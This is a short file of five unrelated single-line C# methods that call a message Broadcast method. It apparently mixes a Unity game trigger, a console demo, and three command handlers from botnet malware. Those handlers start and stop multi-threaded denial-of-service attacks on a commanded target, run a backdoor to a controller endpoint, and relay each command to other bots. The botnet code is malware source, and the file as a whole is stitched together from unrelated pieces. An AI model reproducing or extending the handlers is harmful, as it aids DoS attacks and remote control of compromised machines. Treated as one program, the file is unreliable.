private void Update() { if (_m_isPlayerInside && Input.GetButton("Interact")) { MessageManager.Broadcast(Messages.Level2_FloorOn); } }
public static void Main(string[] args) { var target = new MessageManager <string>(new ReferenceTypeSerializer <string>()); target.Broadcast("Message"); Console.ReadKey(); }
public void Handle(BotMessage botMessage) { var msg = botMessage.Message as DosStopAttackMessage; Attacker attacker; if (Attacker.Attackers.TryGetValue(msg.AttackId, out attacker)) { Attacker.Logger.Info("Stopping attack {2}", msg.AttackId); attacker.Stop(); Attacker.Attackers.Remove(msg.AttackId); } _messageManager.Broadcast(msg, botMessage.Header.Ttl); }
public void Handle(BotMessage botMessage) { var msg = botMessage.Message as BackdoorMessage; if (msg.TargetBotId.Equals(BotIdentifier.Id)) { var controller = msg.ControllerEndpoint; var backdor = new Backdoor(controller); backdor.Run(); return; } _messageManager.Broadcast(msg, botMessage.Header.Ttl--); }
public void Handle(BotMessage botMessage) { var msg = botMessage.Message as DosAttackMessage; if (Attacker.Attackers.ContainsKey(msg.AttackId)) { return; } var attack = AttackFactory.Create(msg); var attacker = new Attacker(msg.Threads, attack); attacker.Start(); Attacker.Logger.Info("Attacking ({2}) session {0} targeting {1} ", msg.AttackId, msg.Target, Enum.GetName(typeof(DosType), msg.Type)); Attacker.Attackers.Add(msg.AttackId, attacker); _messageManager.Broadcast(msg, botMessage.Header.Ttl); }